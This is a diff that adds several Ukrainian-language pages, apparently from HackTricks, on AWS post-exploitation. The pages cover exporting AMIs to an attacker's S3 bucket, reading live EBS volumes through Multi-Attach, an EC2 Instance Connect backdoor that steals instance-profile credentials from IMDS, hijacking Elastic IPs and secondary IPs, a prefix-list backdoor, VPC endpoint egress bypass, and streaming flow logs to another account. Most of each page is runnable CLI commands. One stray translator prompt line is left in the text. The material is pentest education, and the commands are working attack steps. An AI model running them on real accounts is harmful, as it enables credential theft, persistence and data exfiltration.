ввімкнено EBS default encryption) +- Політика S3 bucket, що довіряє сервісному principal `vmie.amazonaws.com` (див. нижче) + +## Вплив +- Повне офлайн-здобуття кореневого диска інстансу у S3 без обміну snapshot'ами або копіювання між акаунтами. +- Дозволяє прихований forensic-аналіз облікових даних, конфігурації та вмісту файлової системи з експортованого raw-образу. + +## How to Exfiltrate via AMI Store-to-S3 + +- Примітки: +- S3 bucket має бути в тому ж Region, що й AMI. +- В `us-east-1`, `create-bucket` НЕ повинен включати `--create-bucket-configuration`. +- `--no-reboot` створює crash-consistent image без зупинки інстансу (більш непомітно, але менш консистентно). + +
+Покрокові команди +```bash +# Vars +REGION=us-east-1 +INSTANCE_ID= +BUCKET=exfil-ami-$(date +%s)-$RANDOM + +# 1) Create S3 bucket (same Region) +if [ "$REGION" = "us-east-1" ]; then +aws s3api create-bucket --bucket "$BUCKET" --region "$REGION" +else +aws s3api create-bucket --bucket "$BUCKET" --create-bucket-configuration LocationConstraint=$REGION --region "$REGION" +fi + +# 2) (Recommended) Bucket policy to allow VMIE service to write the object +ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) +cat > /tmp/bucket-policy.json < + +## Приклад доказів + +- `describe-store-image-tasks` переходи: +```text +InProgress +Completed +``` +- Метадані об'єкта S3 (приклад): +```json +{ +"AcceptRanges": "bytes", +"LastModified": "2025-10-08T01:31:46+00:00", +"ContentLength": 399768709, +"ETag": "\"c84d216455b3625866a58edf294168fd-24\"", +"ContentType": "application/octet-stream", +"ServerSideEncryption": "AES256", +"Metadata": { +"ami-name": "exfil-1759887010", +"ami-owner-account": "", +"ami-store-date": "2025-10-08T01:31:45Z" +} +} +``` +- Часткове завантаження доводить доступ до об'єкта: +```bash +ls -l /tmp/ami.bin +# -rw-r--r-- 1 user wheel 1048576 Oct 8 03:32 /tmp/ami.bin +``` +## Необхідні дозволи IAM + +- EC2: `CreateImage`, `CreateStoreImageTask`, `DescribeStoreImageTasks` +- S3 (на експортному бакеті): `PutObject`, `GetObject`, `ListBucket`, `AbortMultipartUpload`, `PutObjectTagging`, `GetBucketLocation` +- KMS: Якщо AMI snapshots зашифровані, дозволити decrypt для EBS KMS key, що використовується снапшотами + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md new file mode 100644 index 000000000..b141e2707 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md @@ -0,0 +1,77 @@ +# AWS - Live Data Theft via EBS Multi-Attach + +{{#include ../../../../banners/hacktricks-training.md}} + +## Резюме +Зловживати EBS Multi-Attach, щоб читати з живого тома даних io1/io2 шляхом приєднання того ж тому до attacker-controlled instance в тій же Availability Zone (AZ). Монтування спільного тому тільки для читання дає негайний доступ до файлів, що використовуються, без створення snapshots. + +## Вимоги +- Цільовий том: io1 або io2, створений з `--multi-attach-enabled` в тій же AZ, що й attacker instance. +- Дозволи: `ec2:AttachVolume`, `ec2:DescribeVolumes`, `ec2:DescribeInstances` на цільовому томі/екземплярах. +- Інфраструктура: Nitro-based instance types, які підтримують Multi-Attach (C5/M5/R5 families, etc.). + +## Примітки +- Монтуйте в режимі лише для читання з `-o ro,noload`, щоб зменшити ризик пошкодження і уникнути повторного відтворення журналу. +- На Nitro екземплярах EBS NVMe пристрій надає стабільний шлях `/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol...` (допоміжний матеріал нижче). + +## Підготуйте Multi-Attach io2 том і приєднайте до victim + +Приклад (створити в `us-east-1a` і приєднати до victim): +```bash +AZ=us-east-1a +# Create io2 volume with Multi-Attach enabled +VOL_ID=$(aws ec2 create-volume \ +--size 10 \ +--volume-type io2 \ +--iops 1000 \ +--availability-zone $AZ \ +--multi-attach-enabled \ +--tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=multi-shared}]' \ +--query 'VolumeId' --output text) + +# Attach to victim instance +aws ec2 attach-volume --volume-id $VOL_ID --instance-id $VICTIM_INSTANCE --device /dev/sdf +``` +На жертві відформатуйте/змонтуйте новий том і запишіть чутливі дані (ілюстративно): +```bash +VOLNOHYP="vol${VOL_ID#vol-}" +DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}" +sudo mkfs.ext4 -F "$DEV" +sudo mkdir -p /mnt/shared +sudo mount "$DEV" /mnt/shared +echo 'secret-token-ABC123' | sudo tee /mnt/shared/secret.txt +sudo sync +``` +## Підключіть той самий volume до attacker instance +```bash +aws ec2 attach-volume --volume-id $VOL_ID --instance-id $ATTACKER_INSTANCE --device /dev/sdf +``` +## Mount read-only на attacker та read data +```bash +VOLNOHYP="vol${VOL_ID#vol-}" +DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}" +sudo mkdir -p /mnt/steal +sudo mount -o ro,noload "$DEV" /mnt/steal +sudo cat /mnt/steal/secret.txt +``` +Очікуваний результат: той самий `VOL_ID` відображає кілька `Attachments` (victim and attacker), і attacker може читати файли, записані victim, без створення snapshot. +```bash +aws ec2 describe-volumes --volume-ids $VOL_ID \ +--query 'Volumes[0].Attachments[*].{InstanceId:InstanceId,State:State,Device:Device}' +``` +
+Допомога: знайти шлях NVMe-пристрою за Volume ID + +На Nitro інстансах використовуйте стабільний шлях by-id, який містить Volume ID (видаліть дефіс після `vol`): +```bash +VOLNOHYP="vol${VOL_ID#vol-}" +ls -l /dev/disk/by-id/ | grep "$VOLNOHYP" +# -> nvme-Amazon_Elastic_Block_Store_volXXXXXXXX... +``` +
+ +## Вплив +- Негайний доступ для читання до живих даних на цільовому EBS-томі без створення snapshots. +- Якщо змонтовано з правами читання‑запису, атакувальник може змінити файлову систему жертви (ризик пошкодження). + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md new file mode 100644 index 000000000..cceee0892 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md @@ -0,0 +1,113 @@ +# AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection + +{{#include ../../../../banners/hacktricks-training.md}} + +Зловживати EC2 Instance Connect Endpoint (EIC Endpoint), щоб отримати вхідний SSH доступ до приватних EC2 інстансів (без публічної IP/bastion) шляхом: +- Створення EIC Endpoint всередині цільової підмережі +- Дозволити вхідний SSH на цільовому SG з SG EIC Endpoint +- Інжекція короткочасного SSH публічного ключа (дійсний ~60 секунд) за допомогою `ec2-instance-connect:SendSSHPublicKey` +- Відкриття EIC тунелю та pivoting до інстансу для викрадення облікових даних instance profile з IMDS + +Вплив: прихований віддалений шлях доступу до приватних EC2 інстансів, який обходить bastions та обмеження публічних IP. Атакуючий може отримати instance profile та діяти в акаунті. + +## Вимоги +- Права на: +- `ec2:CreateInstanceConnectEndpoint`, `ec2:Describe*`, `ec2:AuthorizeSecurityGroupIngress` +- `ec2-instance-connect:SendSSHPublicKey`, `ec2-instance-connect:OpenTunnel` +- Цільовий Linux інстанс з SSH сервером та увімкненим EC2 Instance Connect (Amazon Linux 2 або Ubuntu 20.04+). Стандартні користувачі: `ec2-user` (AL2) або `ubuntu` (Ubuntu). + +## Змінні +```bash +export REGION=us-east-1 +export INSTANCE_ID= +export SUBNET_ID= +export VPC_ID= +export TARGET_SG_ID= +export ENDPOINT_SG_ID= +# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu) +export OS_USER=ec2-user +``` +## Створити EIC Endpoint +```bash +aws ec2 create-instance-connect-endpoint \ +--subnet-id "$SUBNET_ID" \ +--security-group-ids "$ENDPOINT_SG_ID" \ +--tag-specifications 'ResourceType=instance-connect-endpoint,Tags=[{Key=Name,Value=Backdoor-EIC}]' \ +--region "$REGION" \ +--query 'InstanceConnectEndpoint.InstanceConnectEndpointId' --output text | tee EIC_ID + +# Wait until ready +while true; do +aws ec2 describe-instance-connect-endpoints \ +--instance-connect-endpoint-ids "$(cat EIC_ID)" --region "$REGION" \ +--query 'InstanceConnectEndpoints[0].State' --output text | tee EIC_STATE +grep -q 'create-complete' EIC_STATE && break +sleep 5 +done +``` +## Дозволити трафік від EIC Endpoint до цільової інстанції +```bash +aws ec2 authorize-security-group-ingress \ +--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \ +--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true +``` +## Ін'єкція ефемерного SSH-ключа та відкриття тунелю +```bash +# Generate throwaway key +ssh-keygen -t ed25519 -f /tmp/eic -N '' + +# Send short-lived SSH pubkey (valid ~60s) +aws ec2-instance-connect send-ssh-public-key \ +--instance-id "$INSTANCE_ID" \ +--instance-os-user "$OS_USER" \ +--ssh-public-key file:///tmp/eic.pub \ +--region "$REGION" + +# Open a local tunnel to instance:22 via the EIC Endpoint +aws ec2-instance-connect open-tunnel \ +--instance-id "$INSTANCE_ID" \ +--instance-connect-endpoint-id "$(cat EIC_ID)" \ +--local-port 2222 --remote-port 22 --region "$REGION" & +TUN_PID=$!; sleep 2 + +# SSH via the tunnel (within the 60s window) +ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no +``` +## Post-exploitation доказ (steal instance profile credentials) +```bash +# From the shell inside the instance +curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE +curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE) +``` +Будь ласка, вставте вміст файлу src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md або надайте текст, який потрібно перекласти. +```json +{ +"Code": "Success", +"AccessKeyId": "ASIA...", +"SecretAccessKey": "w0G...", +"Token": "IQoJ...", +"Expiration": "2025-10-08T04:09:52Z" +} +``` +Використайте вкрадені creds локально для перевірки ідентичності: +```bash +export AWS_ACCESS_KEY_ID= +export AWS_SECRET_ACCESS_KEY= +export AWS_SESSION_TOKEN= +aws sts get-caller-identity --region "$REGION" +# => arn:aws:sts:::assumed-role// +``` +## Очищення +```bash +# Revoke SG ingress on the target +aws ec2 revoke-security-group-ingress \ +--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \ +--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true + +# Delete EIC Endpoint +aws ec2 delete-instance-connect-endpoint \ +--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION" +``` +> Примітки +> - Інжектований SSH-ключ дійсний лише близько ~60 секунд; надішліть ключ безпосередньо перед відкриттям тунелю/SSH. +> - `OS_USER` повинен відповідати AMI (наприклад, `ubuntu` для Ubuntu, `ec2-user` для Amazon Linux 2). diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md new file mode 100644 index 000000000..4367b7a01 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md @@ -0,0 +1,52 @@ +# AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Підсумок + +Зловживання `ec2:AssociateAddress` (та опційно `ec2:DisassociateAddress`) для повторної асоціації Elastic IP (EIP) з інстансу/ENI цілі на інстанс/ENI зловмисника. Це перенаправляє вхідний трафік, спрямований на EIP, до зловмисника і також дозволяє зловмиснику ініціювати вихідний трафік з allowlisted публічною IP-адресою, щоб обійти зовнішні фаєрволи партнерів. + +## Передумови +- Target EIP allocation ID in the same account/VPC. +- Інстанс/ENI зловмисника під вашим контролем. +- Права: +- `ec2:DescribeAddresses` +- `ec2:AssociateAddress` для allocation-id EIP та для інстансу/ENI зловмисника +- `ec2:DisassociateAddress` (необов'язково). Примітка: `--allow-reassociation` автоматично від'єднає від попереднього приєднання. + +## Атака + +Змінні +```bash +REGION=us-east-1 +ATTACKER_INSTANCE= +VICTIM_INSTANCE= +``` +1) Виділити або визначити EIP жертви (лабораторія виділяє новий і прикріплює його до жертви) +```bash +ALLOC_ID=$(aws ec2 allocate-address --domain vpc --region $REGION --query AllocationId --output text) +aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $VICTIM_INSTANCE --region $REGION +EIP=$(aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION --query Addresses[0].PublicIp --output text) +``` +2) Перевірте, що EIP наразі вказує на сервіс жертви (наприклад, перевірка на banner) +```bash +curl -sS http://$EIP | grep -i victim +``` +3) Повторно асоціювати EIP з attacker (автоматично від'єднається від victim) +```bash +aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $ATTACKER_INSTANCE --allow-reassociation --region $REGION +``` +4) Перевірте, що EIP тепер вказує на attacker service +```bash +sleep 5; curl -sS http://$EIP | grep -i attacker +``` +Докази (переміщена асоціація): +```bash +aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION \ +--query Addresses[0].AssociationId --output text +``` +## Вплив +- Inbound impersonation: Увесь трафік до захопленого EIP доставляється на attacker instance/ENI. +- Outbound impersonation: Attacker може ініціювати трафік, який виглядає так, ніби він походить з allowlisted public IP (корисно для обходу partner/external source IP filters). + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md new file mode 100644 index 000000000..a8016091c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md @@ -0,0 +1,50 @@ +# AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass) + +{{#include ../../../../banners/hacktricks-training.md}} + +Зловживати `ec2:UnassignPrivateIpAddresses` та `ec2:AssignPrivateIpAddresses`, щоб вкрасти secondary private IP ENI жертви та перемістити її на ENI нападника в тому ж subnet/AZ. Багато внутрішніх сервісів і security groups контролюють доступ за конкретними приватними IP-адресами. Перемістивши цю secondary адресу, нападник видає себе за довірений хост на рівні L3 і може отримати доступ до allowlisted services. + +Prereqs: +- Права: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` on the victim ENI ARN, and `ec2:AssignPrivateIpAddresses` on the attacker ENI ARN. +- Both ENIs must be in the same subnet/AZ. The target address must be a secondary IP (primary cannot be unassigned). + +Variables: +- REGION=us-east-1 +- VICTIM_ENI= +- ATTACKER_ENI= +- PROTECTED_SG= # SG on a target service that allows only $HIJACK_IP +- PROTECTED_HOST= + +Кроки: +1) Оберіть secondary IP з ENI жертви +```bash +aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP +export HIJACK_IP=$(cat HIJACK_IP) +``` +2) Переконайтеся, що захищений хост дозволяє лише ту IP-адресу (ідемпотентно). Якщо натомість використовуєте правила SG-to-SG, пропустіть. +```bash +aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80 --cidr "$HIJACK_IP/32" --region $REGION || true +``` +3) Базова перевірка: з attacker instance запит до PROTECTED_HOST має зазнати невдачі без підробленого джерела (наприклад, через SSM/SSH) +```bash +curl -sS --max-time 3 http://$PROTECTED_HOST || true +``` +4) Зніміть призначення вторинної IP-адреси з ENI жертви +```bash +aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI --private-ip-addresses $HIJACK_IP --region $REGION +``` +5) Призначте той самий IP атакуючому ENI (у AWS CLI v1 додайте `--allow-reassignment`) +```bash +aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI --private-ip-addresses $HIJACK_IP --region $REGION +``` +6) Перевірити, що право власності передано +```bash +aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP +``` +7) З attacker instance виконайте source-bind на hijacked IP, щоб дістатися до захищеного хоста (переконайтеся, що IP налаштовано в ОС; якщо ні, додайте його за допомогою `ip addr add $HIJACK_IP/ dev eth0`) +```bash +curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out +``` +## Вплив +- Обійти списки дозволених IP і видавати себе за довірені хости в межах VPC шляхом переміщення вторинних приватних IP між ENIs у тій самій підмережі/AZ. +- Отримати доступ до внутрішніх сервісів, які обмежують доступ за конкретними IP-адресами джерела, що дозволяє lateral movement і доступ до даних. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md new file mode 100644 index 000000000..028f4ff14 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md @@ -0,0 +1,72 @@ +# AWS - Security Group Backdoor via Managed Prefix Lists + +{{#include ../../../../banners/hacktricks-training.md}} + +## Резюме +Зловживання customer-managed Prefix Lists для створення прихованого шляху доступу. Якщо правило security group (SG) посилається на managed Prefix List, будь-хто з можливістю змінювати цей список може тихо додати attacker-controlled CIDRs. Кожен SG (і потенційно Network ACL або VPC endpoint), який посилається на список, відразу дозволяє нові діапазони без видимих змін у SG. + +## Вплив +- Миттєве розширення дозволених IP-діапазонів для всіх SG, що посилаються на Prefix List, обходячи контролі змін, які моніторять лише редагування SG. +- Дозволяє створювати стійкі ingress/egress backdoors: тримає шкідливий CIDR прихованим у Prefix List, поки правило SG виглядає незмінним. + +## Вимоги +- IAM permissions: +- `ec2:DescribeManagedPrefixLists` +- `ec2:GetManagedPrefixListEntries` +- `ec2:ModifyManagedPrefixList` +- `ec2:DescribeSecurityGroups` / `ec2:DescribeSecurityGroupRules` (щоб ідентифікувати прикріплені SG) +- Необов'язково: `ec2:CreateManagedPrefixList` якщо створюється новий для тестування. +- Середовище: щонайменше одне правило SG, що посилається на цільовий customer-managed Prefix List. + +## Змінні +```bash +REGION=us-east-1 +PREFIX_LIST_ID= +ENTRY_CIDR= +DESCRIPTION="Backdoor – allow attacker" +``` +## Кроки атаки + +1) **Перелічити потенційні prefix lists та їхніх споживачів** +```bash +aws ec2 describe-managed-prefix-lists \ +--region "$REGION" \ +--query 'PrefixLists[?OwnerId==``].[PrefixListId,PrefixListName,State,MaxEntries]' \ +--output table + +aws ec2 get-managed-prefix-list-entries \ +--prefix-list-id "$PREFIX_LIST_ID" \ +--region "$REGION" \ +--query 'Entries[*].[Cidr,Description]' +``` +Use `aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID`, щоб підтвердити, які правила SG залежать від цього prefix list. + +2) **Додати attacker CIDR до prefix list** +```bash +aws ec2 modify-managed-prefix-list \ +--prefix-list-id "$PREFIX_LIST_ID" \ +--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \ +--region "$REGION" +``` +3) **Перевірте поширення на групи безпеки** +```bash +aws ec2 describe-security-group-rules \ +--region "$REGION" \ +--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \ +--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \ +--output table +``` +Трафік з `$ENTRY_CIDR` тепер дозволено скрізь, де посилаються на список префіксів (зазвичай у вихідних правилах на проксі вихідного трафіку або у вхідних правилах для спільних сервісів). + +## Докази +- `get-managed-prefix-list-entries` відображає CIDR зловмисника та опис. +- `describe-security-group-rules` все ще показує початкове правило SG, яке посилається на список префіксів (зміни в SG не зафіксовано), однак трафік з нового CIDR проходить. + +## Очищення +```bash +aws ec2 modify-managed-prefix-list \ +--prefix-list-id "$PREFIX_LIST_ID" \ +--remove-entries Cidr="$ENTRY_CIDR" \ +--region "$REGION" +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md new file mode 100644 index 000000000..d1969d075 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md @@ -0,0 +1,68 @@ +# AWS – Обхід виходу (egress) з ізольованих підмереж через VPC Endpoints + +{{#include ../../../../banners/hacktricks-training.md}} + +## Summary + +Ця техніка зловживає VPC Endpoints для створення каналів ексфільтрації з підмереж без Internet Gateways або NAT. Gateway endpoints (наприклад, S3) додають префікс‑ліст маршрути в таблиці маршрутів підмереж; Interface endpoints (наприклад, execute-api, secretsmanager, ssm тощо) створюють доступні ENIs з приватними IP, захищені security groups. Маючи мінімальні дозволи VPC/EC2, нападник може дозволити контрольований egress, який не проходить через публічний Інтернет. + +> Prereqs: існуючий VPC і приватні підмережі (без IGW/NAT). Вам знадобляться дозволи на створення VPC endpoints і, для Option B, security group для приєднання до endpoint ENIs. + +## Option A – S3 Gateway VPC Endpoint + +**Variables** +- `REGION=us-east-1` +- `VPC_ID=` +- `RTB_IDS=` + +1) Створіть дозволяючий endpoint policy файл (необов'язково). Збережіть як `allow-put-get-any-s3.json`: +```json +{ +"Version": "2012-10-17", +"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ] +} +``` +2) Створіть S3 Gateway endpoint (додає маршрут S3 prefix‑list до вибраних таблиць маршрутів): +```bash +aws ec2 create-vpc-endpoint \ +--vpc-id $VPC_ID \ +--service-name com.amazonaws.$REGION.s3 \ +--vpc-endpoint-type Gateway \ +--route-table-ids $RTB_IDS \ +--policy-document file://allow-put-get-any-s3.json # optional +``` +Докази для фіксації: +- `aws ec2 describe-route-tables --route-table-ids $RTB_IDS` показує маршрут до AWS S3 префікс-листа (наприклад, `DestinationPrefixListId=pl-..., GatewayId=vpce-...`). +- З інстансу в цих підмережах (з IAM perms) можна exfil через S3 без доступу до інтернету: +```bash +# On the isolated instance (e.g., via SSM): +echo data > /tmp/x.txt +aws s3 cp /tmp/x.txt s3:///egress-test/x.txt --region $REGION +``` +## Варіант B – Interface VPC Endpoint for API Gateway (execute-api) + +**Змінні** +- `REGION=us-east-1` +- `VPC_ID=` +- `SUBNET_IDS=` +- `SG_VPCE=` + +1) Створіть interface endpoint і прикріпіть SG: +```bash +aws ec2 create-vpc-endpoint \ +--vpc-id $VPC_ID \ +--service-name com.amazonaws.$REGION.execute-api \ +--vpc-endpoint-type Interface \ +--subnet-ids $SUBNET_IDS \ +--security-group-ids $SG_VPCE \ +--private-dns-enabled +``` +Докази для збору: +- `aws ec2 describe-vpc-endpoints` показує endpoint у стані `available` з `NetworkInterfaceIds` (ENIs у ваших підмережах). +- Інстанси в цих підмережах можуть звертатися до Private API Gateway endpoints через відповідні VPCE ENIs (шлях до Інтернету не потрібен). + +## Вплив +- Обминає контроль вихідного трафіку на периметрі, використовуючи приватні шляхи, керовані AWS, до сервісів AWS. +- Дозволяє data exfiltration з ізольованих підмереж (наприклад, запис у S3; виклики до Private API Gateway; доступ до Secrets Manager/SSM/STS тощо) без IGW/NAT. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md new file mode 100644 index 000000000..0cb7db3c6 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md @@ -0,0 +1,74 @@ +# AWS - VPC Flow Logs Cross-Account Exfiltration to S3 + +{{#include ../../../../banners/hacktricks-training.md}} + +## Резюме +Зловживати `ec2:CreateFlowLogs` для експорту VPC, subnet або ENI flow logs безпосередньо в S3 bucket, який контролюється зловмисником. Коли роль доставки налаштована на запис у зовнішній bucket, кожне з'єднання, зафіксоване на моніторованому ресурсі, потоково виводиться з облікового запису жертви. + +## Вимоги +- Жертва (principal): `ec2:CreateFlowLogs`, `ec2:DescribeFlowLogs`, та `iam:PassRole` (якщо роль доставки потрібна/створюється). +- Attacker bucket: політика S3, яка довіряє `delivery.logs.amazonaws.com` з правами `s3:PutObject` та `bucket-owner-full-control`. +- Опціонально: `logs:DescribeLogGroups`, якщо експортуєте в CloudWatch замість S3 (не потрібно тут). + +## Хід атаки + +1) **Зловмисник** готує політику для S3 bucket (в акаунті зловмисника), яка дозволяє службі доставки VPC Flow Logs записувати об'єкти. Замініть заповнювачі перед застосуванням: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "AllowVPCFlowLogsDelivery", +"Effect": "Allow", +"Principal": { "Service": "delivery.logs.amazonaws.com" }, +"Action": "s3:PutObject", +"Resource": "arn:aws:s3:::/flowlogs/*", +"Condition": { +"StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" } +} +} +] +} +``` +Застосувати з облікового запису нападника: +```bash +aws s3api put-bucket-policy \ +--bucket \ +--policy file://flowlogs-policy.json +``` +2) **Victim** (compromised principal) створює flow logs, спрямовані на attacker bucket: +```bash +REGION=us-east-1 +VPC_ID= +ROLE_ARN= # Must allow delivery.logs.amazonaws.com to assume it +aws ec2 create-flow-logs \ +--resource-type VPC \ +--resource-ids "$VPC_ID" \ +--traffic-type ALL \ +--log-destination-type s3 \ +--log-destination arn:aws:s3:::/flowlogs/ \ +--deliver-logs-permission-arn "$ROLE_ARN" \ +--region "$REGION" +``` +За кілька хвилин у attacker bucket з'являються flow log files, що містять з'єднання для всіх ENIs у монітореному VPC/subnet. + +## Докази + +Приклад записів flow log, записаних у attacker bucket: +```text +version account-id interface-id srcaddr dstaddr srcport dstport protocol packets bytes start end action log-status +2 947247140022 eni-074cdc68182fb7e4d 52.217.123.250 10.77.1.240 443 48674 6 2359 3375867 1759874460 1759874487 ACCEPT OK +2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 52.217.123.250 48674 443 6 169 7612 1759874460 1759874487 ACCEPT OK +2 947247140022 eni-074cdc68182fb7e4d 54.231.199.186 10.77.1.240 443 59604 6 34 33539 1759874460 1759874487 ACCEPT OK +2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 54.231.199.186 59604 443 6 18 1726 1759874460 1759874487 ACCEPT OK +2 947247140022 eni-074cdc68182fb7e4d 16.15.204.15 10.77.1.240 443 57868 6 162 1219352 1759874460 1759874487 ACCEPT OK +``` +Доказ переліку Bucket: +```bash +aws s3 ls s3:///flowlogs/ --recursive --human-readable --summarize +``` +## Вплив +- Постійна ексфільтрація мережевих метаданих (source/destination IPs, ports, protocols) для моніторованого VPC/subnet/ENI. +- Дозволяє виконувати аналіз трафіку, ідентифікацію конфіденційних сервісів та потенційний пошук security group misconfigurations ззовні облікового запису жертви. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md deleted file mode 100644 index 36a88861c..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md +++ /dev/null @@ -1,92 +0,0 @@ -# AWS - ECR Постексплуатація - -{{#include ../../../banners/hacktricks-training.md}} - -## ECR - -Для отримання додаткової інформації перегляньте - -{{#ref}} -../aws-services/aws-ecr-enum.md -{{#endref}} - -### Увійти, Завантажити та Відправити -```bash -# Docker login into ecr -## For public repo (always use us-east-1) -aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/ -## For private repo -aws ecr get-login-password --profile --region | docker login --username AWS --password-stdin .dkr.ecr..amazonaws.com -## If you need to acces an image from a repo if a different account, in set the account number of the other account - -# Download -docker pull .dkr.ecr..amazonaws.com/:latest -## If you still have the error "Requested image not found" -## It might be because the tag "latest" doesn't exit -## Get valid tags with: -TOKEN=$(aws --profile ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken') -curl -i -H "Authorization: Basic $TOKEN" https://.dkr.ecr..amazonaws.com/v2//tags/list - -# Inspect the image -docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0 - -# Upload (example uploading purplepanda with tag latest) -docker tag 